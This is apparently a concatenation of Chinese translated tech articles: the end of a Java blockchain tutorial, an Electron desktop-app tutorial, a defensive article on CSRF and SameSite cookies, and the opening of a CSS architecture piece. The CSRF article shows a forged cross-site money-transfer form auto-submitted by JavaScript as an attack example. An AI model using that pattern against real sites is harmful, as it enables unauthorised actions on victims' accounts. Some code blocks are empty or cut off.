publicKey) { return (publicKey == reciepient); } } ``` 交易输出会显示最终发送给各接收方的金额。这些输出,在新交易中会被当作输入,作为你有资金可以发送出去的凭据。 ![](https://cdn-images-1.medium.com/max/800/1*wylnsMFHeHKd0SNqZgyiYg.gif) ### 5. 输入和输出 2:处理交易 区块可能收到很多交易并且区块链长度可能会很长,这样会花非常长时间去处理一个新的交易,因为需要去查找和检查它的输入。为了处理这个问题,我们要再写一个可用作输出的未花费交易集合。在 **NoobChain** 类中,加入 **_UTXOs_** 集合: ``` public class NoobChain { public static ArrayList blockchain = new ArrayList(); public static HashMap UTXOs = new HashMap(); //未花费交易的 list public static int difficulty = 5; public static Wallet walletA; public static Wallet walletB; public static void main(String[] args) { ``` HashMaps 通过 key 去找到 value,但你需要引入 java.util.HashMap。 好,接下来就是重点了。 把处理交易的方法 processTransaction 放到 **Transaction** 类里面: ``` //如果新交易可以生成,返回 true public boolean processTransaction() { if(verifiySignature() == false) { System.out.println("#Transaction Signature failed to verify"); return false; } //整合所有交易输入(确保是未花费的) for(TransactionInput i : inputs) { i.UTXO = NoobChain.UTXOs.get(i.transactionOutputId); } //检查交易是否合法 if(getInputsValue() < NoobChain.minimumTransaction) { System.out.println("#Transaction Inputs to small: " + getInputsValue()); return false; } //生成交易输出 float leftOver = getInputsValue() - value; //获取剩余的零钱 transactionId = calulateHash(); outputs.add(new TransactionOutput( this.reciepient, value,transactionId)); //send value to recipient outputs.add(new TransactionOutput( this.sender, leftOver,transactionId)); //把剩下的“零钱“发回给发送方 //添加输出到未花费的 list 中 for(TransactionOutput o : outputs) { NoobChain.UTXOs.put(o.id , o); } //从 UTXO list里面移除已花费的交易输出 for(TransactionInput i : inputs) { if(i.UTXO == null) continue; //if Transaction can't be found skip it NoobChain.UTXOs.remove(i.UTXO.id); } return true; } //返回输入(UTXOs) 值的总额 public float getInputsValue() { float total = 0; for(TransactionInput i : inputs) { if(i.UTXO == null) continue; //if Transaction can't be found skip it total += i.UTXO.value; } return total; } //返回输出总额 public float getOutputsValue() { float total = 0; for(TransactionOutput o : outputs) { total += o.value; } return total; } ``` 同样再添加一个 getInputsValue 方法。 通过这个方法进行一些检查,去验证交易合法性,然后整合输入并生成输出(看看代码里的注释会清楚点)。 重要的一点,在最后,我们把 Inputs 从 _UTXO_ list里面移除了,说明一个**交易输出**作为一个输入只能使用一次。因此,输入的总数值必须都花出去,这样发送方才有剩余“零钱”可拿回来。 ![](https://cdn-images-1.medium.com/max/1000/1*4wZbhhT98hIyt4jtLdePgQ.png) 红色箭头是输出。注意绿色的输入来自之前的输出。 最后更新我们的钱包: * 收集我们的余额(通过循环 UTXO list并检查一个交易输出是否是自己的钱币) * 为我们生成交易 ``` import java.security.*; import java.security.spec.ECGenParameterSpec; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; public class Wallet { public PrivateKey privateKey; public PublicKey publicKey; public HashMap UTXOs = new HashMap(); //只是这个钱包拥有的 UTXO public Wallet() {... public void generateKeyPair() {... //返回余额并存储这个钱包的 UTXO public float getBalance() { float total = 0; for (Map.Entry item: NoobChain.UTXOs.entrySet()){ TransactionOutput UTXO = item.getValue(); if(UTXO.isMine(publicKey)) { //if output belongs to me ( if coins belong to me ) UTXOs.put(UTXO.id,UTXO); //add it to our list of unspent transactions. total += UTXO.value ; } } return total; } //从这个钱包生成并返回一个新的交易 public Transaction sendFunds(PublicKey _recipient,float value ) { if(getBalance() < value) { //gather balance and check funds. System.out.println("#Not Enough funds to send transaction. Transaction Discarded."); return null; } //生成输入的 ArrayList ArrayList inputs = new ArrayList(); float total = 0; for (Map.Entry item: UTXOs.entrySet()){ TransactionOutput UTXO = item.getValue(); total += UTXO.value; inputs.add(new TransactionInput(UTXO.id)); if(total > value) break; } Transaction newTransaction = new Transaction(publicKey, _recipient , value, inputs); newTransaction.generateSignature(privateKey); for(TransactionInput input: inputs){ UTXOs.remove(input.transactionOutputId); } return newTransaction; } } ``` 自己想的话可以再给钱包添加其它的功能,例如记录交易历史。 #### 6. 添加交易到我们的区块: 现在我们有一个运作的交易系统,需要把它整合到区块链中。我们应该用交易的 ArrayList 替换掉之前在区块中占位的无用数据。然而,在一个区块中就可能有 1000 个交易,多到我们的哈希计算无法承受。但是不怕,我们可以使用交易的 merkle root 进行处理(你很快就会读到关于 merkle tree 的东西)。 在 StringUtils 添加一个方法去生成 merkleroot: ``` //Tacks in array of transactions and returns a merkle root. public static String getMerkleRoot(ArrayList transactions) { int count = transactions.size(); ArrayList previousTreeLayer = new ArrayList(); for(Transaction transaction : transactions) { previousTreeLayer.add(transaction.transactionId); } ArrayList treeLayer = previousTreeLayer; while(count > 1) { treeLayer = new ArrayList(); for(int i=1; i < previousTreeLayer.size(); i++) { treeLayer.add(applySha256(previousTreeLayer.get(i-1) + previousTreeLayer.get(i))); } count = treeLayer.size(); previousTreeLayer = treeLayer; } String merkleRoot = (treeLayer.size() == 1) ? treeLayer.get(0) : ""; return merkleRoot; } ``` *我会很快用一个能返回真正 merkleroot 的方法替换掉当前方法,但这个方法先暂时顶替下。 现在来完成 **Block** 类中需要修改的地方: ``` import java.util.ArrayList; import java.util.Date; public class Block { public String hash; public String previousHash; public String merkleRoot; public ArrayList transactions = new ArrayList(); //我们的数据就是一个简单的信息 public long timeStamp; //从1970/1/1到现在经过的毫秒时间 public int nonce; //构造方法 public Block(String previousHash ) { this.previousHash = previousHash; this.timeStamp = new Date().getTime(); this.hash = calculateHash(); //确保设置了其它值之后再计算哈希值 } //基于区块内容计算新的哈希值 public String calculateHash() { String calculatedhash = StringUtil.applySha256( previousHash + Long.toString(timeStamp) + Integer.toString(nonce) + merkleRoot ); return calculatedhash; } //哈希目标达成的话,增加 nonce 值 public void mineBlock(int difficulty) { merkleRoot = StringUtil.getMerkleRoot(transactions); String target = StringUtil.getDificultyString(difficulty); //Create a string with difficulty * "0" while(!hash.substring( 0, difficulty).equals(target)) { nonce ++; hash = calculateHash(); } System.out.println("Block Mined!!! : " + hash); } //添加交易到区块 public boolean addTransaction(Transaction transaction) { //process transaction and check if valid, unless block is genesis block then ignore. if(transaction == null) return false; if((previousHash != "0")) { if((transaction.processTransaction() != true)) { System.out.println("Transaction failed to process. Discarded."); return false; } } transactions.add(transaction); System.out.println("Transaction Successfully added to Block"); return true; } } ``` 我们也更新了 Block 的构造方法,因为我们不用再传入字符串,还有在计算哈希值方法中也加入了 merkle root 部分。 addTransaction 方法会添加交易而且只在交易成功添加时返回 true。 > 哈哈!每个想要的我们都造出来了,现在我们的区块链上已经能进行交易了! ![](https://cdn-images-1.medium.com/max/800/1*QaHN-AsCPEzAlU-3ulbO-Q.gif) ### **7. 厉害地总结下(一开始的时候只有菜鸟币):** 现在应该测试从钱包里发送出去菜鸟币或通过钱包接收菜鸟币,并更新区块链的合法性检查。但首先我们要找到如何把新挖的菜鸟币整合到系统中的办法,有很多途径去生成新币,拿比特币的区块链来说:矿工可以把一个交易变成自己的一部分,作为区块被挖出来时的奖励。现在的话,我们就只是在第一个区块(创始区块)放出一定数量的币,满足我们项目需要即可。像比特币一样,我们会硬编码创始区块,写一个固定的值。 让我们完整地更新 NoobChain 类: * 一个创始区块,发了 100 个菜鸟币给钱包 A。 * 因为增加了交易部分,更新了区块链的合法性检查。 * 一些测试类交易去验证是否正常运作。 ``` public class NoobChain { public static ArrayList blockchain = new ArrayList(); public static HashMap UTXOs = new HashMap(); public static int difficulty = 3; public static float minimumTransaction = 0.1f; public static Wallet walletA; public static Wallet walletB; public static Transaction genesisTransaction; public static void main(String[] args) { //添加我们的区块到区块链 ArrayList中 Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); //设置 Bouncey castle 为 Security Provider //生成钱包 walletA = new Wallet(); walletB = new Wallet(); Wallet coinbase = new Wallet(); //生成创始交易,内容是发送100个菜鸟币到 walletA genesisTransaction = new Transaction(coinbase.publicKey, walletA.publicKey, 100f, null); genesisTransaction.generateSignature(coinbase.privateKey); //手动对创始交易签名 genesisTransaction.transactionId = "0"; //手动设置交易 id genesisTransaction.outputs.add(new TransactionOutput(genesisTransaction.reciepient, genesisTransaction.value, genesisTransaction.transactionId)); //手动添加交易输出 UTXOs.put(genesisTransaction.outputs.get(0).id, genesisTransaction.outputs.get(0)); //在 UTXO list 里面保存第一个交易很重要 System.out.println("Creating and Mining Genesis block... "); Block genesis = new Block("0"); genesis.addTransaction(genesisTransaction); addBlock(genesis); //测试 Block block1 = new Block(genesis.hash); System.out.println("\nWalletA's balance is: " + walletA.getBalance()); System.out.println("\nWalletA is Attempting to send funds (40) to WalletB..."); block1.addTransaction(walletA.sendFunds(walletB.publicKey, 40f)); addBlock(block1); System.out.println("\nWalletA's balance is: " + walletA.getBalance()); System.out.println("WalletB's balance is: " + walletB.getBalance()); Block block2 = new Block(block1.hash); System.out.println("\nWalletA Attempting to send more funds (1000) than it has..."); block2.addTransaction(walletA.sendFunds(walletB.publicKey, 1000f)); addBlock(block2); System.out.println("\nWalletA's balance is: " + walletA.getBalance()); System.out.println("WalletB's balance is: " + walletB.getBalance()); Block block3 = new Block(block2.hash); System.out.println("\nWalletB is Attempting to send funds (20) to WalletA..."); block3.addTransaction(walletB.sendFunds( walletA.publicKey, 20)); System.out.println("\nWalletA's balance is: " + walletA.getBalance()); System.out.println("WalletB's balance is: " + walletB.getBalance()); isChainValid(); } public static Boolean isChainValid() { Block currentBlock; Block previousBlock; String hashTarget = new String(new char[difficulty]).replace('\0', '0'); HashMap tempUTXOs = new HashMap(); //对给定的区块状态,一个临时的未花费交易输出list tempUTXOs.put(genesisTransaction.outputs.get(0).id, genesisTransaction.outputs.get(0)); //循环区块链去检查哈希值 for(int i=1; i < blockchain.size(); i++) { currentBlock = blockchain.get(i); previousBlock = blockchain.get(i-1); //比较当前区块存储的哈希值和计算得出的哈希值 if(!currentBlock.hash.equals(currentBlock.calculateHash()) ){ System.out.println("#Current Hashes not equal"); return false; } //比较前一个区块的哈希值和当前区块中存储的上一个区块哈希值 if(!previousBlock.hash.equals(currentBlock.previousHash) ) { System.out.println("#Previous Hashes not equal"); return false; } //检查哈希值是否解出来了 if(!currentBlock.hash.substring( 0, difficulty).equals(hashTarget)) { System.out.println("#This block hasn't been mined"); return false; } //循环区块链交易 TransactionOutput tempOutput; for(int t=0; t [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/creating-your-first-desktop.md ================================================ > * 原文链接 : [Creating Your First Desktop App With HTML, JS and Electron | Tutorialzine](http://tutorialzine.com/2015/12/creating-your-first-desktop-app-with-html-js-and-electron/) * 原文作者 : [Danny Markov](http://tutorialzine.com/category/tutorials/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Zhangdroid](https://github.com/Zhangdroid) * 校对者: [void-main](https://github.com/void-main)、[根号三](https://github.com/sqrthree) * 状态 : 完成 Web 应用这些年来变得越来越强大,但相比于桌面应用能够完全访问计算机硬件,Web 应用还有一些差距。现在,你能够通过已经熟悉了的HTML、JavaScript 和 Node.js 来创建桌面应用,然后打包成可执行文件,并在 Windows、OS X 和 Linux 上发布它。 目前已经有两个流行的开源项目实现了这个想法。首先是 [NW.js](http://nwjs.io/),[我们在几个月前讨论过它](http://tutorialzine.com/2015/01/your-first-node-webkit-app/ "Creating Your First Desktop App With HTML, JS and Node-WebKit");然后是更新一些的 [Electron](http://electron.atom.io/), 也就是我们今天所使用到的(可以在[这里](https://github.com/atom/electron/blob/master/docs/development/atom-shell-vs-node-webkit.md)查看它与 NW.js 的不同之处)。我们将用 Electron 重写旧的 NW.js 版本的应用,这样你就能轻易的对比它们了。 ### Electron 入门 使用 Electron 创建的应用其实就是一个在内嵌的 Chromium 浏览器中打开的 Web 网站。除了常规的 HTML5 API,(这些网站)还可以使用任意的 Node.js 模块和一些 Electron 特有的模块来访问操作系统。 在整个教程中,我们将创建一个简单的应用:它能够通过 RSS 获取到 Tutorialzine 上最近的文章,并通过一个看起来很酷的轮播效果来展示它们。所有需要的文件已经打包好,**[点击这里](http://demo.tutorialzine.com/2015/12/creating-your-first-desktop-app-with-html-js-and-electron/creating-your-first-desktop-app-with-electron.zip)**下载。 把它解压到你想要的地方。从项目结构上看,你一定猜不到这不仅仅是一个简单的网站,而且是一个桌面应用程序。 ![项目结构](http://cdn.tutorialzine.com/wp-content/uploads/2015/12/electron-app-tree.png) 项目结构 我们一会儿会更仔细的看看这些有趣的文件,了解它们的原理。不过在此之前,先让我们把应用跑起来吧。 ### 运行应用 由于 Electron 是一个优秀的 Node.js 应用,所以你必须安装 [npm](https://www.npmjs.com/)。 你可以轻松的在[这里](http://blog.npmjs.org/post/85484771375/how-to-install-npm)学习到如何安装它。 完成之后,在项目目录下打开 cmd 或者终端,运行下面的命令: ``` npm install ``` 它将会创建 **node_modules** 文件夹来存放这个应用运行所需的所有 Node.js 依赖。 一切都没问题的话在同一个终端下输入下面的命令: ``` npm start ``` 你所创建的应用应该会在一个独立的窗口中打开。可以注意到它有一个顶部菜单栏和其他的一些部分! ![Electron App In Action](http://cdn.tutorialzine.com/wp-content/uploads/2015/12/electron_app_1.png) Electron 实战 你可能注意到打开这个应用的方式对用户并不友好。但这仅仅是开发者打开它的方式,当它面向公众被打包好之后, 就可以像一般的应用一样安装,并通过双击图标来打开它。 ### 如何工作 在这部分,我们将讨论所有 Electron 应用中最重要的一些文件。首先是 package.json,它包含有关项目的各种信息,比如版本、npm 依赖和其他重要设置。 #### package.json ``` { "name": "electron-app", "version": "1.0.0", "description": "", "main": "main.js", "dependencies": { "pretty-bytes": "^2.0.1" }, "devDependencies": { "electron-prebuilt": "^0.35.2" }, "scripts": { "start": "electron main.js" }, "author": "", "license": "ISC" } ``` 如果以前用过 node.js,那么你已经知道它是如何工作的了。最重要的是注意这里的 **scripts** 属性,它定义了 `npm start` 命令,这条命令能够让我们像之前那样运行应用。当我们执行这条命令时,我们其实是在要求 electron 去运行 **main.js** 这个文件。这个 JS 文件包括一些简短的脚本:打开应用的窗口、定义一些设置和一些事件的处理。 #### main.js ``` var app = require('app'); // 控制应用生命周期的模块。 var BrowserWindow = require('browser-window'); // 创建原生浏览器窗口的模块 // 保持一个对于 window 对象的全局引用,不然,当 JavaScript 被 "垃圾回收机制" 回收, // 窗口会被自动地关闭 var mainWindow = null; // 当所有窗口被关闭了,退出。 app.on('window-all-closed', function() { // 在 OS X 上,通常用户在明确地按下 Cmd + Q 之前 // 应用会保持活动状态 if (process.platform != 'darwin') { app.quit(); } }); // 当 Electron 完成了初始化并且准备创建浏览器窗口的时候 // 这个方法就被调用 app.on('ready', function() { // 创建浏览器窗口。 mainWindow = new BrowserWindow({width: 900, height: 600}); // 加载应用的 index.html mainWindow.loadURL('file://' + __dirname + '/index.html'); // 当 window 被关闭,这个事件会被发出 mainWindow.on('closed', function() { // 取消引用 window 对象,如果你的应用支持多窗口的话, // 通常会把多个 window 对象存放在一个数组里面, // 但这次不是。 mainWindow = null; }); }); ``` 观察一下我们在“ready”方法中做的事情。首先我们定义一个浏览器窗口并给它了初始化的大小,然后我们在它里面载入了 **index.html** 这个文件,效果和你在浏览器里打开它差不多。 正如你所看到的,这个 HTML 文件没有什么特别的 – 一个图片轮播和一段显示 CPU 和 RAM 统计数据的文字被包含在容器之中。 #### index.html ``` Tutorialzine Electron Experiment ``` 这个 HTML 文件同样也引入了所需的 CSS 文件、JS库和其它的脚本。注意,jQuery 需要以一种奇怪的方式引入。更多相关信息可以参考[这里](http://stackoverflow.com/questions/32621988/electron-jquery-is-not-defined)。 最后,这是这个应用实际的 Javascript 文件。在这里面,我们访问 Tutorialzine 的 RSS 源,获取最新的文章并把它们显示出来。直接在浏览器中这样做是没有效果的,因为从不同的域名获取 RSS 订阅是被禁止的(参见[同源策略](https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy))。但在 Electron 中并没有这个限制,我们可以通过 AJAX 请求轻松的获取到我们想要的信息。 ``` $(function(){ // 显示有关该计算机的一些统计数据,使用的是 node 的 os 模块。 var os = require('os'); var prettyBytes = require('pretty-bytes'); $('.stats').append('Number of cpu cores: ' + os.cpus().length + ''); $('.stats').append('Free memory: ' + prettyBytes(os.freemem())+ ''); // Electron 的 UI 库。我们在之后会用到它。 var shell = require('shell'); // 从 Tutorialzine 上获取最近的文章。 var ul = $('.flipster ul'); // Electron 并没有采用同源安全策略, 所以我们能够 // 发送 ajax 请求给其它网站。让我们获取 Tutorialzine 的 RSS 订阅: $.get('http://feeds.feedburner.com/Tutorialzine', function(response){ var rss = $(response); // 在 RSS 订阅中找到所有的文章: rss.find('item').each(function(){ var item = $(this); var content = item.find('encoded').html().split('')[0]+''; var urlRegex = /(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?/g; // 获取文章的第一幅图。 var imageSource = content.match(urlRegex)[1]; // 为每一篇文章创建一个 li 元素,并把它追加到 ul 中。 var li = $('* '); li.find('a') .attr('href', item.find('link').text()) .text(item.find("title").text()); li.find('img').attr('src', imageSource); li.appendTo(ul); }); // 初始化 flipster 插件。 $('.flipster').flipster({ style: 'carousel' }); // 当一篇文章被点击时,用系统默认的浏览器打开它, // 否则的话会用 electron 的窗口打开它,这不是我们想要的结果。 $('.flipster').on('click', 'a', function (e) { e.preventDefault(); // 使用系统默认的浏览器打开 URL。 shell.openExternal(e.target.href); }); }); }); ``` 上面的代码里有一件很酷的事情,在一个文件中我们同时使用了: * JavaScript 库 – 使用 jQuery 和 [jQuery Flipster](https://github.com/drien/jquery-flipster) 来实现图片轮播。 * Electron 原生模块 – Shell 提供了一些桌面任务相关的 API,在这里我们通过它使用了系统默认的浏览器打开 URL。 * Node.js 模块 – 使用 [OS](https://nodejs.org/api/os.html) 来获取系统的内存信息,使用 [Pretty Bytes](https://www.npmjs.com/package/pretty-bytes) 格式化它们。 就这样我们的应用已经准备好了! ### 打包和发布 还有一件重要的事情:让你的应用准备好面对最终的用户。你需要把它打包成一个在用户电脑上双击就可以使用的可执行文件。由于 Electron 应用能够在多个操作系统上运行,每个操作系统又各不相同,所以需要为 Windows、Linux和 OS X 分别打包。使用像这个 npm 模块一样的工具可以很好的帮助你开始 – [Electron Packager](https://github.com/maxogden/electron-packager). 考虑到要将所有的资源文件、所有需要的 npm 模块、以及一个迷你的 WebKit 浏览器打包进一个可执行文件,所有的这些打包完后(的大小约)有 50MB。对于像这样一个简单的应用来说这是相当大的了,是不现实的。但当我们创建更大、更复杂的应用时,这个问题就变的无关紧要了。 ### 结论 通过我们的例子,你可以看到 NW.js 与 Electron 最主要的不同是:NW.js 直接打开了一个 HTML页面;而 Electron 是通过 JavaScript 文件启动并通过代码来创建应用程序窗口。 Electron 的方式给了你更多控制的权利,你能够轻松地创建多窗口应用程序并组织它们之间的通信。 总而言之 Electron 是一种非常令人激动的通过 Web 技术来创建桌面应用的方式。这是你接下来可能需要阅读的内容: * [Electron 快速入门](https://github.com/atom/electron/blob/master/docs-translations/zh-CN/tutorial/quick-start.md) * [Electron 文档](https://github.com/atom/electron/tree/master/docs-translations/zh-CN) * [使用 Electron 创建的应用](http://electron.atom.io/#built-on-electron) ================================================ FILE: TODO/csrf-is-dead.md ================================================ > * 原文链接:[Cross-Site Request Forgery is dead!](https://scotthelme.co.uk/csrf-is-dead/?utm_source=webopsweekly&utm_medium=email) * 原文作者:[Scott](https://scotthelme.co.uk/author/scott/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[XatMassacrE](https://github.com/XatMassacrE) * 校对者:[newbieYoung](https://github.com/newbieYoung),[DeadLion](https://github.com/DeadLion) ## 跨站请求伪造已死!## 在连续不断的被跨站请求伪造折磨了这么多年后,我们现在终于有了一个合理的解决方案。一个对网站拥有者没有技术负担、实施起来没有难度、部署又非常简单的方案,它就是 Same-Site Cookies。 #### 和互联网历史一样悠久的跨站请求伪造 #### 跨站请求伪造(又被称为 CSRF 或者 XSRF )似乎一直都存在着。它源自一个网站必须向另一个网站发出请求的简单功能。比如像在页面中嵌入下面的表单代码。 ```
    ``` 当你的浏览器载入这个页面之后,上面的表单将会由一个简单的 JS 片段来实现提交。 ``` document.getElementById("stealMoney").submit(); ``` 这就是被称作 CSRF 的来历。我伪造了一个跨站到你的银行网站的请求。这个问题的关键不是我发送了请求,而是你的浏览器通过这个请求发送了你的 cookies。此时,你当前拥有的全部验证信息也会通过这个请求发送,这就意味着你登录你的银行账户并且捐助了我 £1,000 。谢谢啊!那么当你没有登录的时候,这个请求对你就没有什么影响了,因为你不登录是无法转账的。不过对于银行来说,他们现在采用的下面几种办法可以在一定程度上防御 CSRF 攻击。 #### 缓解 CSRF #### 关于缓解 CSRF 这里就不详细展开讲了,因为网上关于这个话题已经有大量的信息了,但是我仍然会快速的过一遍顺便展示一下实现他们都需要哪些技术。 ##### 检查 origin ##### 当我们收到一个请求时,关于这个请求的来源有两个地方的信息对我们来说是有用的。一个是 Origin header,另一个是 Referer header。你可以检查他们中的一个或者两个的值来判定对于你的网站来说他们是不是来自一个不同的域。如果这个请求是跨域的,那么你把它丢掉就可以了。Origin 和 Referer header 会在浏览器端做一些保护措施来阻止被纂改,但是这并不总是有效的。 ``` accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 accept-encoding: gzip, deflate, br cache-control: max-age=0 content-length: 166 content-type: application/x-www-form-urlencoded dnt: 1 origin: https://report-uri.io referer: https://report-uri.io/login upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 ``` ##### Anti-CSRF tokens ##### 通常情况下你可以通过两种方法来实现 Anti-CSRF tokens,但是它们的原理是一样的。当一个游客请求一个页面时,类似于上面提到的转账页面,你可以在表单中嵌入一个随机的token。当真正的用户提交表单的时,你就会收到表单的随机 token,这样你就可以通过之前嵌入的那个随机 token 来校验了。在 CSRF 攻击场景中,攻击者永远都不可能拿到这个值甚至在攻击者可以请求到页面的情况也无法拿到,因为同源策略(SOP)会阻止攻击者从包含 token 的响应中读取内容。这个方法在实际运用中很不错,但是它需要网站追踪每一个请求并且返回 Anti-CSRF tokens。还有一个类似的在表单中嵌入 token 的方法是给浏览器一个包含相同值的 cookie 来实现的。当网站收到真正的用户提交他们的表单时,cookie 中的值和表单中的值将会相匹配。攻击者通过没有 CSRF cookie 的浏览器发送伪造的请求将会失败。 ```
    ``` #### 存在的问题 #### 在很长一段时间,上面的这些方法在面对 CSRF 时给我们提供了强劲的保护。检查 Origin 和 Referer header 并不是 100% 有效的,大部分网站也会通过一些高级的 Anti-CSRF token 方式来防御。问题是,这两种方法都需要网站有一些必要的条件才能实施和维护。虽然这些条件并不是世界上最复杂的技术,但是我们仍然需要建立一个解决办法来让浏览器做一些我们不想让它做的事情。既然这样的话,那么我们为什么不直接告诉浏览器不要做那些我们不想让它们做的事情呢?现在,我们可以了! #### Same-Site Cookies #### 你或许已经在我最近的博客( [Tough Cookies](https://scotthelme.co.uk/tough-cookies/))上看到了一些关于 Same-Site Cookies 的内容,但是在这里我将会用一些例子来深入的讲解。从本质上来讲,Same-Site Cookies 可以完全有效的阻止 CSRF 攻击,是的,CSRF 一点机会都没有。我们在互联网上真正需求的本质就是赢得网络安全的战争,Same-Site Cookies 非常容易部署,是**真的**非常容易。找到你原来的 cookie : ``` Set-Cookie: sess=abc123; path=/ ``` 添加 SameSite 这个属性。 ``` Set-Cookie: sess=abc123; path=/; SameSite ``` 你已经完成了。严格来讲,就是这样!在 cookie 上启用这个属性将会告诉浏览器给予这个 cookie 确切的保护。你可以通过 Strict 和 Lax 这两种模式来启用这个保护,具体用哪种模式取决于你想要的严格程度。如果在你的 cookie 设置中没有指定模式的话默认将会使用 Strict 模式,但是如果你想的话你可以明确的指定是 Strict 还是 Lax。 ``` SameSite=Strict SameSite=Lax ``` ##### Strict ##### 很显然,将你的 SameSite 保护设置为 Strcit 模式是一个更好的选择,但是我们之所以有两个选项的原因是因为不是所有的网站都是一样的并且不是所有的网站都有同样的需求。当我们在 Strict 模式下操作时,浏览器在任何跨域请求中都不会携带 cookie,所以说 CSRF 一点机会都没有。但是问题是,顶级导航(直接在地址栏改变 URL )的请求都不会携带 cookie。比如说有一个链接地址 [https://facebook.com](https://facebook.com) 并且 Facebook 的 SameSite cookies 的模式为 Strict,当你点击链接打开 Facebook 之后你会发现你无法登录。无论你之前是否登录,在新标签中打开,无论你怎么做,当你从那个链接过来时你都无法登录到 Facebook。这就很烦人了,并且我们的用户也不希望我们提供如此蛋疼的保护。这时候 Facebook 要做的就是向 Amazon 学习,使用两个 cookie。一种是用来验证用户信息和登录操作的 '基础的' cookie,当你想进行一些类似于支付,改变账户信息的敏感操作时就需要第二种 cookie 了,'真正的' cookie 就可以允许你进行一些重要的操作。在这个案例中第一种 cookie 就是一种 '方便的' 不会设置 SameSite 的 cookie,它真的不回允许你进行任何敏感性的操作,即使攻击者通过它来进行跨站请求,什么都不会发生。第二种 cookie 是一种设置了 SameSite 属性的 '敏感的' cookie,攻击者在跨站请求中不会获取它的权限。这对于用户和安全来说就是一种理想的解决方案。然和这种方式的实施性并不强,因为我们希望 SameSite cookies 可以简单的部署,那么我们就需要第二个选项了。 ##### Lax ##### 将 SameSite 保护设置为 Lax 模式将会解决上面提到的在 Strict 模式下的用户在已经登录的前提下点击链接仍然无法在目标网站登录的问题。在 Lax 模式下有一个例外,就是在顶级导航中使用一个安全的 HTTP 方法发送的请求可以携带 cookie。所谓 "安全的" 的 HTTP 方法在 [Section 4.2.1 of RFC 7321](https://tools.ietf.org/html/rfc7231#section-4.2.1) 定义为 GET、HEAD、OPTIONS 和 TRACE,在这里我们只关心 GET 方法,就是我们链接到 [https://facebook.com](https://facebook.com) 的顶级导航就是一个 GET 方法。现在当用户点击一个设置了 SameSite 的链接之后,浏览器就会发送携带 cookie 和一些我们希望的用户信息的请求。同时,我们也防范了基于 POST 方法的 CSRF 攻击。在 Lax 模式下,最开始提到的例子中的攻击手段也无法成功。 ```
    ``` 因为 POST 方法被认为是一种不安全的方法,浏览器在请求中是不会携带 cookie 的。那么攻击者当然会想到使用一种 '安全的' 方法来完成同样的请求。 ``` ``` 其实只要我们在接收 POST 请求的地方不接受 GET 请求那么这种攻击方法就会失效,但是在 Lax 模式下还有一些需要注意的点。比如,如果一个攻击者触发一个顶级导航或者弹出一个新的窗口,那么他们就可以让浏览器发送一个携带 cookies 的 GET 请求。这就是在 Lax 模式下需要取舍的地方,我们在保证完整的用户体验的前提下不得不承担一些小的风险。 #### 额外的用途 #### 这篇博客的目标是通过 SameSite Cookies 来缓解 CSRF 攻击,但是,你可能已经猜到了,这种机制还有一些其他的用途。第一个就是跨站脚本包含(XSSI),它是指当浏览器向类似于脚本的资源文件发送请求的时候将会根据用户是否登录而做出改变。在跨站请求的场景中,一个攻击者无法使用 SameSite Cookie 的一些验证信息来造成不同的响应。[这里](https://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf)还有一些有趣的定时攻击的详细信息。 还有一个有趣的用途(不是很详细)是用来对抗在面对浑水猛兽般的攻击手段下 ([CRIME](https://en.wikipedia.org/wiki/CRIME_(security_exploit)), [BREACH](https://en.wikipedia.org/wiki/BREACH_(security_exploit)), [HEIST](https://tom.vg/papers/heist_blackhat2016.pdf), [TIME](https://www.blackhat.com/eu-13/briefings.html#Beery)) 造成的会话 cookie 的泄露。这些确实是很高级的攻击手段,但是基础的场景是一个 MiTM (中间人攻击) 可以通过任何他们喜欢或监视的机制来强行让浏览器发送跨域请求。通过使用请求载荷的大小的变化,攻击者可以变更浏览器请求并观察每次变更之后的大小就可以猜出一位 session ID 的值。而使用 SameSite Cookies 的话,浏览器在发送这些请求的时候就不会携带 cookies,那么攻击者业就无法猜到他们的值了。 #### 浏览器支持情况 #### 和很多新的浏览器安全特性一样,我们总是希望 Firefox 和 Chrome 能够引领这些新特性,但是这次情况不一样了。Chrome 自从 v51 就开始支持 SameSite Cookie 了,这意味着 Opera,安卓浏览器和安卓上的 Chrome 都支持这一特性。你可以在 [caniuse.com](http://caniuse.com/#search=SameSite) 上看到当前所有支持该属性的详细信息,Firefox 还有一个开放的 [bug](https://bugzilla.mozilla.org/show_bug.cgi?id=795346) 需要添加支持。虽然目前来看支持并不是很全面,但是我们应该给我们的 cookies 添加 SameSite 这个属性。支持这一特性的浏览器将会按照协议为我们的 cookie 提供额外的保护,而不支持的浏览器会直接无视它。这不但对我们没什么影响,还会提供一种不错的具有深度的防御手段。虽然离我们完全移除传统的反 CSRF 机制还有很长的一段时间,但是添加 SameSite 仍然可以为我们提供一个足够健壮的保护。 ================================================ FILE: TODO/css-architecture.md ================================================ # 一个健壮且可扩展的 CSS 架构所需的8个简单规则 > * 原文地址:[8 simple rules for a robust, scalable CSS architecture](https://github.com/jareware/css-architecture) * 原文作者:[Jarno Rantanen](https://github.com/jareware) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 